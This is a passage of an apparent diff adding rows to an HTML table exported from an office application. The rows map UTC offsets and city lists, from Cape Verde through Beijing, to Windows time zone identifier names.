+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Cape Verde Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC) Casablanca<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Morocco Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC) Coordinated Universal Time<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>UTC</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC) Dublin, Edinburgh, Lisbon, London<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>GMT Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC) Monrovia, Reykjavik<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Greenwich Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>W. Europe Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+01:00) Belgrade, Bratislava, Budapest, Ljubljana, Prague<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Central Europe Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+01:00) Brussels, Copenhagen, Madrid, Paris<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Romance Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+01:00) Sarajevo, Skopje, Warsaw, Zagreb<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Central European Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+01:00) West Central Africa<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>W. Central Africa Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+01:00) Windhoek<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Namibia Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+02:00) Amman<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Jordan Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+02:00) Athens, Bucharest, Istanbul<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>GTB Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+02:00) Beirut<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Middle East Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+02:00) Cairo<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Egypt Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+02:00) Damascus<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Syria Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+02:00) Harare, Pretoria<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>South Africa Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+02:00) Helsinki, Kyiv, Riga, Sofia, Tallinn, Vilnius<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>FLE Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+02:00) Jerusalem<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Israel Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+02:00) Minsk<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>E. Europe Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+03:00) Baghdad<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Arabic Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+03:00) Kuwait, Riyadh<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Arab Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+03:00) Moscow, St. Petersburg, Volgograd<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Russian Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+03:00) Nairobi<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>E. Africa Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+03:30) Tehran<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Iran Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+04:00) Abu Dhabi, Muscat<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Arabian Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+04:00) Baku<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Azerbaijan Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+04:00) Port Louis<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Mauritius Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+04:00) Tbilisi<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Georgian Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+04:00) Yerevan<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Caucasus Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+04:30) Kabul<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Afghanistan Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+05:00) Ekaterinburg<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Ekaterinburg Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+05:00) Islamabad, Karachi<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Pakistan Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+05:00) Tashkent<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>West Asia Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+05:30) Chennai, Kolkata, Mumbai, New Delhi<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>India Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+05:30) Sri Jayawardenepura<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Sri Lanka Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+05:45) Kathmandu<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Nepal Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+06:00) Astana<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Central Asia Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+06:00) Dhaka<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Bangladesh Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+06:00) Novosibirsk<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>N. Central Asia Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+06:30) Yangon (Rangoon)<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Myanmar Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+07:00) Bangkok, Hanoi, Jakarta<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>SE Asia Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+07:00) Krasnoyarsk<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>North Asia Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+08:00) Beijing, Chongqing, Hong Kong, Urumqi<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
